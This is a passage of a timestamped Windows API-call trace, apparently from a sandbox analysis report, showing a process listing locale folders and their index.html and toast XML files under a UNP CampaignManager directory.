ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0184.218] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0184.219] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.219] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.219] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.219] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.220] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.220] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.220] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0184.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.221] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0184.221] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.258] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.258] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.259] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.259] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.259] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.259] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.259] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.259] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0184.261] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.298] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.298] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.298] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.298] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.299] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.299] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.299] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.300] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0184.300] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.303] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.303] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.304] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0184.305] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.307] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.307] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.308] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.308] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.308] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.308] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.308] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.309] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.310] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IS", cAlternateFileName="")) returned 1 [0184.310] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 